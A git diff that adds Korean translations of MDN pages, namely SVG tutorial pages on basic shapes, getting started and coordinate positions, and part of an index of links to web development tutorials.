+<p>{{ languages( { "pl": "pl/SVG_w_XHTML_-_Wprowadzenie", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }}</p>
diff --git a/files/ko/web/svg/tutorial/기본_도형/index.html b/files/ko/web/svg/tutorial/기본_도형/index.html
new file mode 100644
index 0000000000..8169e4c890
--- /dev/null
+++ b/files/ko/web/svg/tutorial/기본_도형/index.html
@@ -0,0 +1,141 @@
+---
+title: 기본 도형
+slug: Web/SVG/Tutorial/기본_도형
+translation_of: Web/SVG/Tutorial/Basic_Shapes
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</p>
+
+<p>SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적은 이름에서 명백하게 알 수 있다. 도형들의 위치와 크기를 지정하는 몇몇 속성들은 주어지지만, 여기에서 다뤄지지 않는 다른 속성들과 함께 더 정확하고 완전한 설명이 있는 레퍼런스를 첨부해 두겠다. 그러나, 대부분의 SVG 문서에서 사용되기 때문에 몇 가지 소개를 해줘야한다.</p>
+
+<h2 id="Basic_shapes" name="Basic_shapes">기본적인 도형들</h2>
+
+<p>도형을 삽입하기 위해서는 당신은 문서안에 요소를 만들어야 한다. 서로다른 요소들은 다른 모양에 해당하며, 서로 다른 속성들을 사용하여 해당 모양의 크기와 위치를 나타낸다. 일부는 다른 모양으로 생성 될 수 있다는 점에서 약간 중복되지만, 사용자의 편의를 위해 SVG 문서를 가능한 짧고 가독성있게 유지하기 위해서 모두 제공된다. 모든 기본 도형은 오른쪽 이미지에 표시된다. 기본 도형을 생성하는 코드는 다음과 같다:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/359/=Shapes.png" style="float: right;"></p>
+
+<pre class="brush:xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+  &lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/&gt;
+  &lt;ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;line x1="10" x2="50" y1="110" y2="150" stroke="orange" stroke-width="5"/&gt;
+  &lt;polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
+      stroke="orange" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
+      stroke="green" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/&gt;
+&lt;/svg&gt;</pre>
+
+<div class="note"><strong>Note:</strong> <code>stroke</code>, <code>stroke-width</code> 그리고 <code>fill</code> 속성들은 튜토리얼 뒤쪽에서 설명한다.</div>
+
+<h3 id="Rectangles" name="Rectangles">Rectangles 사각형</h3>
+
+<p><a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect">rect</a> 요소는 당신이 생각하는 것과 일치하며 화면에 사각형을 그린다. 여기에는 화면상에서 직사각형의 위치와 모양을 제어하는 6가지 기본 속성만 있다. 앞서 보여준 이미지는 두 개의 rect 요소를 보여주며 약간 중복된다. 오른쪽에 있는 이미지는 rx 와  ry 속성이 설정되어 있어서 모서리가 둥글다. rx 와 ry 가 설정되지 않은 경우에는 기본값 0으로 들어간다.</p>
+
+<pre class="brush:xml">&lt;rect x="10" y="10" width="30" height="30"/&gt;
+&lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30"/&gt;</pre>
+
+<dl>
+ <dt>x</dt>
+ <dd>사각형의 좌측 상단의 x 값을 의미한다.</dd>
+ <dt>y</dt>
+ <dd>사각형의 좌측 상단의 y 값을 의미한다.</dd>
+ <dt>width</dt>
+ <dd>사각형의 폭을 나타낸다.</dd>
+ <dt>height</dt>
+ <dd>사각형의 높이를 나타낸다. </dd>
+ <dt>rx</dt>
+ <dd>사각형의 둥근 꼭짓점의 x 방향으로의 반지름이다.</dd>
+ <dt>ry</dt>
+ <dd>사각형의 둥근 꼭짓점의 y 방향으로의 반지름이다.</dd>
+</dl>
+
+<h3 id="Circle" name="Circle">Circle 원</h3>
+
+<p>당신이 추측한 것 처럼, <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle">circle</a> 요소는 화면에 원을 그린다. circle 요소에 실제로 적용할 수 있는 속성은 세 가지 뿐이다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;circle cx="25" cy="75" r="20"/&gt;</pre>
+
+<dl>
+ <dt>r</dt>
+ <dd>원의 반지름을 의미한다.</dd>
+ <dt>cx</dt>
+ <dd>원의 중심 중 x 값을 의미한다.</dd>
+ <dt>cy</dt>
+ <dd>원의 중심 중 y 값을 의미한다.</dd>
+</dl>
+
+<h3 id="Ellipse" name="Ellipse">Ellipse 타원</h3>
+
+<p><a href="/en-US/Web/SVG/Element/ellipse" title="en-US/Web/SVG/Element/ellipse">Ellipse</a>s은 원의 x와 y 반경 (수학자들은 장반경, 단반경 이라고 함)을 개별적으로 확장 할 수 있는 circle 요소의 좀 더 일반적인 형태이다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;ellipse cx="75" cy="75" rx="20" ry="5"/&gt;</pre>
+
+<dl>
+ <dt>rx</dt>
+ <dd>타원의 x 방향으로의 반지름의 길이를 의미한다.</dd>
+ <dt>ry</dt>
+ <dd>타원의 y 방향으로의 반지름의 길이를 의미한다.</dd>
+ <dt>cx</dt>
+ <dd>타원의 중심 중 x 값을 의미한다.</dd>
+ <dt>cy</dt>
+ <dd>타원의 중심 중 y 값을 의미한다.</dd>
+</dl>
+
+<h3 id="Line" name="Line">Line 선</h3>
+
+<p><a href="/en-US/Web/SVG/Element/line" title="en-US/Web/SVG/Element/line">Line</a>s은 단지 직선이다. line 요소는 선의 시작과 끝 지점을 지정하는 두 점을 속성으로 갖는다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;line x1="10" x2="50" y1="110" y2="150"/&gt;</pre>
+
+<dl>
+ <dt>x1</dt>
+ <dd>점 1의 x 값이다.</dd>
+ <dt>y1</dt>
+ <dd>점 1의 y 값이다.</dd>
+ <dt>x2 </dt>
+ <dd>점 2의 x 값이다.</dd>
+ <dt>y2</dt>
+ <dd>점 2의 y 값이다.</dd>
+</dl>
+
+<h3 id="Polyline" name="Polyline">Polyline</h3>
+
+<p><a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">Polyline</a>s은 연결된 직선들의 그룹이다. 그 목록(직선들)은 꽤 길어질 수 있기 때문에 모든 포인트가 하나의 속성에 포함된다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/&gt;</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>포인트들의 목록, 각 숫자는 공백, 쉼표, EOL 또는 줄 바꿈 문자로 구분된다. 각 포인트는 반드시 x 좌표와 y 좌표를 가지고 있어야 한다. 따라서 포인트 목록 (0,0), (1,1) 및 (2,2)는 "0 0, 1 1, 2 2"라고 쓸 수 있다.</dd>
+</dl>
+
+<h3 id="Polygon" name="Polygon">Polygon 다각형</h3>
+
+<p><a href="/en-US/Web/SVG/Element/polygon" title="en-US/Web/SVG/Element/polygon">Polygon</a>s은 점을 연결하는 직선으로 구성된다는 점에서 polyline과 매우 유사하다. 하지만 다각형의 경우, 자동으로 마지막 포인트로부터 첫 번째 포인트로 직선을 만들어서 닫힌 모양을 만든다. 사각형은 다각형의 하나이므로, 융통성있는 사각형을 필요로 하는 경우 polygon 요소를 사용해서 rect 요소를 만들 수 있다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/&gt;</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>포인트들의 목록, 각 숫자는 공백, 쉼표, EOL 또는 줄 바꿈 문자로 구분된다. 각 포인트는 반드시 x 좌표와 y 좌표를 가지고 있어야 한다. 따라서 포인트 목록 (0,0), (1,1) 및 (2,2)는 "0 0, 1 1, 2 2"라고 쓸 수 있다. 그러면 (2,2)에서 (0,0)으로 최종 직선이 그려져서 다각형이 완성된다.</dd>
+</dl>
+
+<h3 id="Path" name="Path">Path</h3>
+
+<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a> 는 아마 SVG에서 사용할 수 있는 가장 일반적인 형태일 것이다. path 요소를 사용해서 당신은 사각형(둥근 모서리가 있거나 없는), 원, 타원, 폴리라인 및 다각형을 그릴 수 있다. 기본적으로 다른 모든 종류의 모양, 베지에 곡선, 2차원 곡선 등이 가능하다. 그러한 이유로, paths 는 튜토리얼의 <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">the next section</a> 에 들어가지만, 지금은 모양을 제어하는 데 사용되는 단일 속성이 있음을 알려주겠다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;path d="M 20 230 Q 40 205, 50 230 T 90230"/&gt;</pre>
+
+<dl>
+ <dt>d</dt>
+ <dd>A list of points and other information about how to draw the path. See the <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Paths</a> section for more information.</dd>
+</dl>
+
+<div>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</div>
diff --git a/files/ko/web/svg/tutorial/시작하기/index.html b/files/ko/web/svg/tutorial/시작하기/index.html
new file mode 100644
index 0000000000..8a0b5c82b7
--- /dev/null
+++ b/files/ko/web/svg/tutorial/시작하기/index.html
@@ -0,0 +1,94 @@
+---
+title: 시작하기
+slug: Web/SVG/Tutorial/시작하기
+tags:
+  - SVG
+  - 'SVG:Tutorial'
+  - 초보자
+  - 튜토리얼
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
+
+<h3 id="A_Simple_Example" name="A_Simple_Example">간단한 예제</h3>
+
+<p>다음의 코드와 같이 간단한 예제로 시작해보겠습니다.</p>
+
+<pre class="brush: xml">&lt;svg version="1.1"
+     baseProfile="full"
+     width="300" height="200"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect width="100%" height="100%" fill="red" /&gt;
+
+  &lt;circle cx="150" cy="100" r="80" fill="green" /&gt;
+
+  &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>코드를 복사하여 demo1.svg로 저장하고, 파이어폭스 에서 실행해 봅시다. 아래와 같은 화면이 그려질 것입니다.(파이어 폭스 사용자 : <a href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">링크</a>)</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>화면이 그려지는 과정은 다음과 같습니다.</p>
+
+<ol>
+ <li>SVG 루트 요소(Element)부터 시작합니다.
+  <ul>
+   <li>DTD기반의 SVG유효성 검사는 해결할 수 있는 것보다 많은 문제를 야기하기 때문에 (X)HTML로 알려진 Doctype 선언은 사용하지 않습니다.</li>
+   <li>다른 유형의 유효성 검사를 위해 SVG버전을 식별하려면 항상 version과 baseProfile 속성(Attribute)을 사용해야 합니다.</li>
+   <li>XML 특수언어(dialect)로서 SVG는 (xmlsn 속성에서) 항상 네임 스페이스(namespace)를 올바르게 바인딩 해야합니다. 자세한 내용은<a href="/en/docs/Web/SVG/Namespaces_Crash_Course"> 네임 스페이스 충돌 과정</a> 페이지를 참조하십시오.</li>
+  </ul>
+ </li>
+ <li>전체 이미지 영역을 포함하는 사각형 &lt;rect /&gt;을 그려 배경을 빨간색으로 설정합니다.</li>
+ <li>빨간색 직사각형의 중앙에 반경 80px의 녹색 원 &lt;circle /&gt;이 그려집니다</li>
+ <li>텍스트 "SVG"가 그려집니다. 각 문자의 내부는 흰색으로 채워집니다. 텍스트는 중심점이 되고자 하는 지점에 앵커를 설정하여 배치됩니다.이 경우 중심점은 녹색 원의 중심에 일치해야합니다. 글꼴 크기와 수직 위치를 미세 조정하여 심미적으로 뛰어난 최종 결과를 얻을 수 있습니다.</li>
+</ol>
+
+<h3 id="SVG_파일의_기본_속성">SVG 파일의 기본 속성</h3>
+
+<ul>
+ <li>가장 먼저 주목해야 할 것은 요소를 렌더링하는 순서입니다. SVG 파일 전체에서 유효한 규칙은, 내용의 <em>위에서 부터 아래로</em> 렌더링된다는 것입니다. 요소는 아래에 위치할수록 더 잘보이게 됩니다.</li>
+ <li>웹의 SVG 파일은 브라우저에 직접 표시되거나 HTML파일에 여러가지 방법을 통해 포함될 수 있습니다:
+  <ul>
+   <li>HTML이 XHTML이고 application/xhtml+xml 유형으로 제공되는 경우 SVG는 XML 소스에 직접 포함될 수 있습니다.</li>
+   <li>HTML이 HTML5이고 브라우저가 HTML5 브라우저를 준수하는 경우 SVG를 직접 삽입 할 수도 있습니다. 그러나 HTML5 사양을 준수하는 데 필요한 구문 변경이 있을 수 있습니다.</li>
+   <li>SVG 파일은 object 요소로 참조 할 수 있습니다:
+    <pre>        &lt;object data="image.svg" type="image/svg+xml" /&gt;</pre>
+   </li>
+   <li>마찬가지로 iframe 요소로 사용할 수 있습니다:
+    <pre>        &lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</pre>
+   </li>
+   <li>이론적으로, img 요소로 사용될 수 있습니다만 4.0 이전의 Firefox에서는 작동하지 않습니다.</li>
+   <li>마지막으로 SVG는 JavaScript로 동적으로 생성되어 HTML DOM에 삽입 될 수 있습니다. 이는 SVG를 처리 할 수없는 브라우저에서 대체하여 구현할 수 있다는 장점이 있습니다.</li>
+  </ul>
+  이 주제에 대해 깊이있게 다루기 위해 <a href="/en-US/docs/SVG_In_HTML_Introduction">이 문서</a>를 참조하십시오.</li>
+ <li>SVG에서 크기와 단위를 처리하는 방법에 대해서는 <a href="/en-US/Web/SVG/Tutorial/Positions">다음 페이지</a>에서 설명 할 것입니다.</li>
+</ul>
+
+<h3 id="SVG_File_Types" name="SVG_File_Types">SVG 파일 형식</h3>
+
+<p>SVG 파일은 두 가지 형태로 제공됩니다. 일반 SVG 파일은 SVG 마크업이 포함 된 간단한 텍스트 파일입니다. 이러한 파일의 권장 파일 확장자는 소문자로 ".svg"입니다.</p>
+
+<p>일부 응용 프로그램 (예 : 지리적 응용 프로그램)에 사용될 때 매우 큰 크기의 SVG 파일이 있을 수 있기 때문에 SVG 사양에서는 gzip으로 압축 된 SVG 파일을 허용합니다. 이러한 파일의 권장 파일 확장자는 소문자로 ".svgz"입니다. 하지만 안타깝게도 gzip으로 압축 된 SVG 파일을 Microsoft IIS 서버에서 서비스 할 때 모든 SVG 가능 브라우저(사용자 에이전트)에서 안정적으로 작동하게 하려면 문제가 많습니다. 그리고 Firefox는 로컬 컴퓨터에서 gzip으로 압축 된 SVG를 로드 할 수 없습니다. 웹 서버에 게시 할 때를 제외하고는 gzip으로 압축 된 SVG를 피하십시오 (아래 참조).</p>
+
+<h3 id="A_Word_on_Webservers" name="A_Word_on_Webservers">웹서버 관련 한 마디</h3>
+
+<p>이제 기본 SVG 파일을 만드는 방법에 대해 알아봤으므로 다음 단계는 웹 서버에 업로드하는 것입니다. 이 단계에서는 몇 가지 문제가 있습니다. 보통, SVG 파일의 경우 서버는 다음과 같이 HTTP 헤더를 보내야합니다.</p>
+
+<pre>Content-Type: image/svg+xml
+Vary: Accept-Encoding</pre>
+
+<p>gzip으로 압축 된 SVG 파일의 경우, 서버는 다음과 같이 HTTP 헤더를 보내야합니다.</p>
+
+<pre>Content-Type: image/svg+xml
+Content-Encoding: gzip
+Vary: Accept-Encoding</pre>
+
+<p>네트워크 모니터 패널이나 <a href="http://web-sniffer.net/">web-sniffer.net</a>과 같은 사이트를 사용하여 서버가 SVG 파일과 함께 올바른 HTTP 헤더를 보내고 있는지 확인할 수 있습니다. SVG 파일 중 하나의 URL을 전송하고 HTTP 응답 헤더를 확인해 보십시오. 서버가 위의 값으로 헤더를 보내지 않으면 웹 호스트에 문의해야합니다. 서버에 SVG를 올바르게 구성하도록하는 데 문제가 있으면 직접 할 수있는 방법이있을 수 있습니다. 다양한 간단한 솔루션에 대해서는 w3.org의 <a href="https://www.w3.org/services/svg-server/">서버 구성 페이지</a>를 참조하십시오.</p>
+
+<p>SVG를 사용하는데 있어 서버 구성 오류가 SVG로드에 실패하는 가장 일반적인 이유이기에 확인하십시오. 서버가 SVG 파일을 제공하면서 올바른 헤더를 보내도록 설정되어 있지 않다면 Firefox는 SVG파일의 마크업을 텍스트 또는 인코딩된 의미없는 값으로 표시하거나 뷰어에게 열어 볼 응용 프로그램을 선택하도록 요청할 가능성이 큽니다.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
diff --git a/files/ko/web/svg/tutorial/위치/index.html b/files/ko/web/svg/tutorial/위치/index.html
new file mode 100644
index 0000000000..391765175c
--- /dev/null
+++ b/files/ko/web/svg/tutorial/위치/index.html
@@ -0,0 +1,45 @@
+---
+title: 위치
+slug: Web/SVG/Tutorial/위치
+translation_of: Web/SVG/Tutorial/Positions
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
+
+<h2 id="The_grid" name="The_grid">그리드</h2>
+
+<p><img alt="" class="internal" src="/@api/deki/files/78/=Canvas_default_grid.png" style="float: right;">모든 요소(Element)에 대해 SVG는 <a href="https://developer.mozilla.org/en/HTML/Canvas">캔버스</a>를 포함한 컴퓨터에서 무언가 그리고자 할때 많이 사용되는 것과 유사한 좌표계 또는 그리드 시스템을 사용합니다. 즉, 문서의 왼쪽 위 모서리는 (0,0)으로 간주되며 한 지점의 위치는 왼쪽 상단 모서리에서 픽셀 단위로 표시되고 X축의 양의 방향은 오른쪽, Y축의  양의 방향은 아래쪽으로 향하게됩니다. 어린시절 배웠던 그래프와는 반대라는 점을 기억하세요. 그러나 이것은 HTML의 요소가 배치되는 것과는 같은 방법입니다 (기본적으로 LTR 문서는 X를 오른쪽에서 왼쪽으로 배치하는 RTL 문서가 아닙니다).</p>
+
+<h4 id="예제">예제:</h4>
+
+<p>아래 요소는</p>
+
+<pre>&lt;rect x="0" y="0" width="100" height="100" /&gt;
+</pre>
+
+<p>왼쪽 상단에서 100px의 정사각형을 정의합니다.</p>
+
+<h3 id="픽셀이란">"픽셀"이란?</h3>
+
+<p>기본적으로 SVG 문서에서 1픽셀은 출력 장치(화면)의 1픽셀에 매핑됩니다. 하지만 이러한 방식만 가능했다면 SVG의 이름에 "확장성(Scalable)"이란 단어가 들어가 있지는 않았겠죠. CSS의 절대 및 상대 글꼴 크기와 매우 흡사하게 SVG는 절대적인 단위 ( "pt"또는 "cm"와 같은 식별자가있는 것)를 정의하고 이것을 사용자 단위(User Unit)로 명칭하며, 이것은 별도의 식별자 없이 숫자 그대로를 사용합니다.</p>
+
+<p>별도로 명시하지 않았다면, 사용자 단위와 화면 단위는 1:1의 비율로 동작합니다. SVG에는 이 비율을 변경하기 위한 몇가지 방법이 있습니다.</p>
+
+<pre>&lt;svg width="100" height="100"&gt;
+</pre>
+
+<p>위 요소는 100x100px 의 SVG 캔버스를 정의합니다. 사용자 단위와 화면 단위는 1:1의 비율로 동작합니다.</p>
+
+<pre>&lt;svg width="200" height="200" <strong>viewBox="0 0 100 100"</strong>&gt;
+</pre>
+
+<p>SVG 캔버스 전체 크기는 200x200 픽셀입니다. 그러나 viewBox속성을 사용하여 (0,0)에서 시작하는 100x100px의 화면을 200x200px의 화면에 출력합니다. 이렇게하면 100x100 단위 영역을 효과적으로 확대하고 이미지를 두 배 크기로 확대 할 수 있습니다.</p>
+
+<p>이러한 요소 혹은 전체 이미지의 사용자 단위와 화면 단위의 매핑을 사용자 좌표계(User coordinate system)이라고 합니다. 스케일링 외에도 회전, 기울이기, 뒤집기가 가능합니다. 기본 사용자 좌표계는 하나의 사용자 픽셀을 하나의 장치 픽셀에 매핑합니다. SVG파일에서 "in"또는 "cm"과 같은 특정 치수는 결과 이미지에서 1:1로 보이도록 계산됩니다.</p>
+
+<p>SVG 1.1 스펙에서는 다음과 같이 인용합니다:</p>
+
+<blockquote>
+<p>[...] 사용자 환경에서 "1px"이 "0.2822222mm" 에 대응한다고 가정했을때(90dpi), SVG는 다음과 같이 처리한다: [...] "1cm"는 "35.43307px"과 같다. (그리고 35.43307 사용자 단위와 같다.)</p>
+</blockquote>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
diff --git a/files/ko/web/tutorials/index.html b/files/ko/web/tutorials/index.html
new file mode 100644
index 0000000000..4676332971
--- /dev/null
+++ b/files/ko/web/tutorials/index.html
@@ -0,0 +1,186 @@
+---
+title: 학습서
+slug: Web/Tutorials
+tags:
+  - 강좌
+  - 웹디자인
+  - 코드
+  - 학습서
+translation_of: Web/Tutorials
+---
+<p>이 페이지에는 다양한 학습서 및 교육 자료에 대한 링크가 있습니다. 여러분이 웹 개발을 이제 시작하는 사람이든지, 기초를 공부하는 사람이든지, 이미 개발을 해본 사람이든지 모범 사례에 대한 유용한 자료를 찾으실 수 있습니다. 이들 자료는 웹 개발의 개방형 표준 및 모범 사례를 채택한 미래 지향적 기업 및 웹 개발자가 창작한 것으로서 Creative Commons 등의 개방형 콘텐트 라이선스를 통해 번역을 제공 또는 허용합니다.</p>
+
+<h2 id="웹입문자를_위하여">웹입문자를 위하여</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Getting_started_with_the_web">시작해 볼까요?</a>
+
+ <p> </p>
+ </dt>
+ <dd>시작해 볼까요? 는 웹개발의 실제를 소개하는 간결한 안내서입니다. 간단한 코딩을 통해 자신만의 웹페이지를 구축할 수 있는 도구들을 준비할 수 있도록 돕습니다.</dd>
+ <dt> </dt>
+</dl>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">HTML 학습서</h2>
+
+    <h3 id="입문">입문</h3>
+
+    <dl>
+     <dt><a href="http://docs.webplatform.org/wiki/guides/the_basics_of_html" rel="external">HTML의 기본</a> (WebPlatform.org)</dt>
+     <dd>HTML이 무엇인지, 무엇을 할 수 있는지, HTML의 브리핑 역사, HTML과 같은 문서구조를 보여줍니다. 훨씬 깊은 HTML의 각 부분을 하나하나 살펴 수행할 수 있습니다.</dd>
+     <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Wep Page의 기본 구조</a> (SitePoint)</dt>
+     <dd>큰 그림을 통해 HTML 요소에 대해 알아봅니다.</dd>
+     <dt><a href="http://reference.sitepoint.com/html/elements" rel="external">기본 HTML 요소</a> (SitePoint)</dt>
+     <dd>HTML문서를 작성하는 데 사용할 수 있는 다양한 유형의 요소를 설명합니다.</dd>
+     <dt><a href="http://htmldog.com/guides/htmlbeginner/" rel="external">HTML기초 학습서</a> (HTML Dog)</dt>
+     <dd>기본 학습서를 익히며 연습합니다.</dd>
+     <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML 과제</a> (Wikiversity)</dt>
+     <dd>의미있는 mark-up에 집중하여 HTML기술(예를 들어, "나는 &lt;h2&gt; 요소 또는&lt;strong&gt; 요소를 이용합니까?")을 이러한 과제에 연마, 사용합니다.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/HTML/Element">MDN HTML 요소 참조</a></dt>
+     <dd>포괄적인 HTML요소에 대한 참조 및 파이어폭스와 다른 부라우저를 지원하는 방법을 알려줍니다.</dd>
+     <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+     <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+    </dl>
+
+    <h3 id="고급">고급</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/ko/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">HTML 페이지를 빠르게 로드할 수 있게 만드는 팁</a></dt>
+     <dd>사이트 방문자들에게 더 많은 응답을 제공하고, 웹 서버와 인터넷 연결 부하를 줄여 웹 페이지를 최적화 할 수 있습니다.</dd>
+     <dt><a href="http://diveintohtml5.info/" rel="external">Dive into HTML5</a> (Mark Pilgrim)</dt>
+     <dd>HTML5, HTML의 최신버전 기능에 대해 자세히 알아보십시오.</dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 학습서</a> (HTML5 Rocks)</dt>
+     <dd>HTML5 기능을 사용하여 코드를 통해 guided tour를 습득.</dd>
+     <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">HTML5의 의미</a> (A List Apart)</dt>
+     <dd>앞뒤로 호환되며, 확장 가능한 mark-up을 배울 수 있습니다.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/Canvas_tutorial">Canvas 학습서</a></dt>
+     <dd>Canvas 요소를통해 스크립트를 이용하여 크래픽을 만드는 방법을 알아보십시오.</dd>
+     <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt>
+     <dd>현재 HTML5를 사용하는 방법에 대한 기사.</dd>
+     <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">HTML5 오디오의 기쁨</a> (Elated)</dt>
+     <dd>쉽게 웹 페이지에 사운드를 적용시키는 HTML 오디오 요소를 사용하는 방법에 대해 알아봅니다. 더 많은 코드 예제는 학습서 안에 있습니다.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Javascript 학습서</h2>
+
+    <h3 id="입문_2">입문</h3>
+
+    <dl>
+     <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt>
+     <dd>Codecademy는 자바 스크립트를 코딩하는 방법을 배울 수 있는 가장 쉬운 방법입니다. 친구들과 함께 재미있게 배울 수 있습니다.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/JavaScript/Getting_Started">JavaScript 시작하기</a></dt>
+     <dd>JavaScript란 무엇이며, 어떻게 도움을 줄까?</dd>
+     <dt><a href="http://docs.webplatform.org/wiki/concepts/programming/programming_basics" rel="external">Programming – 입문 </a> (WebPlatform.org)</dt>
+     <dd>프로그래밍의 기본 중의 기본. 자바스크립트를 사용하고 더 많은 것을 할 수 있는 모범사례와 무엇을 할 수 있는지 소개하는 기사.</dd>
+     <dt><a href="http://dev.opera.com/articles/view/javascript-best-practices/" rel="external">JavaScript 모범사례</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt>
+     <dd>자바 스크립트를 작성(그렇지 않아도)한 명백하고 분명한 몇 가지 모범사례에 대해 알아보십시오.</dd>
+     <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+     <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+    </dl>
+
+    <h3 id="중급">중급</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/ko/docs/A_re-introduction_to_JavaScript">JavaScript 다시 소개하기</a></dt>
+     <dd>중급 개발자들을 대상으로 자바 스크립트 프로그래밍 언어의 요점을 되풀이합니다.</dd>
+     <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a></dt>
+     <dd>중급 및 고급 자바 스크립트 방법론에 대한 포괄적인 가이드.</dd>
+     <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">JavaScript 필수 디자인 패턴</a> (Addy Osmani)</dt>
+     <dd>자바 스크립트에 필요한 디자인 패턴을 소개.</dd>
+     <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">JavaScript 프로그래밍 언어</a> (YUI Blog)</dt>
+     <dd>오늘날, Douglas Crockford가 탐구해온 언어와 방법.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/Introduction_to_Object-Oriented_JavaScript">객체 지향 JavaScript 소개</a></dt>
+     <dd>자바 스크립트 개체 모델에 대해 자세히 알아보십시오.</dd>
+    </dl>
+
+    <h3 id="고급_2">고급</h3>
+
+    <dl>
+     <dt><a href="http://ejohn.org/apps/learn/" rel="external">고급 JavaScript 학습</a> (John Resig)</dt>
+     <dd>John Resig의 고급 자바스크립트 가이드.</dd>
+     <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">JavaScript DOM을 소개합니다</a> (Elated)</dt>
+     <dd>이것은 어떤 문서이며, 어디가 유용합니까? 이 문서는 강력한 스크립트 기능을 부드럽게 소개합니다.</dd>
+     <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">불편한 API: DOM의 이론</a> (YUI Blog)</dt>
+     <dd>Douglas Crockford가 문서 객체 모델을 설명합니다.</dd>
